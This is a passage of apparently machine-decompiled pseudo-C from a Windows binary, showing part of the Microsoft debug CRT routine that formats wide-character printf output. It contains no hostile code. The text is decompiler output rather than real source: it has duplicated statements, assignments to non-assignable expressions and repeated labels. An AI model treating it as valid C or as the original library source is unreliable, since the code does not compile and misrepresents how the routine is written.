																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x43c6c0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C684))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428150(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B540( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0x2c9cf96e
																					E00424340(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AAD0(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x440380; // 0xac9cf9bd
																							E00424340(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AAD0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xac9cf9c2
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AAD0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AAD0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E0043B200(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428150(__ebp + 0x14);
																			__eax = E00433CF0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E000();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																				__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AAA0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428150(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AAD0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E00431000( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			L142:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428150(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428150(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428150(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *(__ebp - 0x14) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428150(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428150(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428150(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t517 = 0;
															if(0 == 0) {
																 *(_t525 - 0x4dc) = 0;
															} else {
																 *(_t525 - 0x4dc) = 1;
															}
															 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
															if( *(_t525 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t498 = L0041E000();
																_t527 = _t527 + 0x14;
																if(_t498 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t525 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422AF0(_t510))) = 0x16;
																E00422880(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t525 - 0x4c8) = 0xffffffff;
																E0041AAA0(_t525 - 0x40);
																_t483 =  *(_t525 - 0x4c8);
																L225:
																return E0042BAA0(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
															}
														}
													}
													L215:
													__eflags =  *(_t525 - 0x45c);
													if( *(_t525 - 0x45c) == 0) {
														L218:
														 *(_t525 - 0x4f8) = 1;
														L219:
														_t517 =  *(_t525 - 0x4f8);
														 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t488 = L0041E000();
															_t527 = _t527 + 0x14;
															__eflags = _t488 - 1;
															if(_t488 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) != 0) {
															 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
															E0041AAA0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d4);
														} else {
															 *((intOrPtr*)(L00422AF0(_t502))) = 0x16;
															E00422880(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t525 - 0x4d0) = 0xffffffff;
															E0041AAA0(_t525 - 0x40);
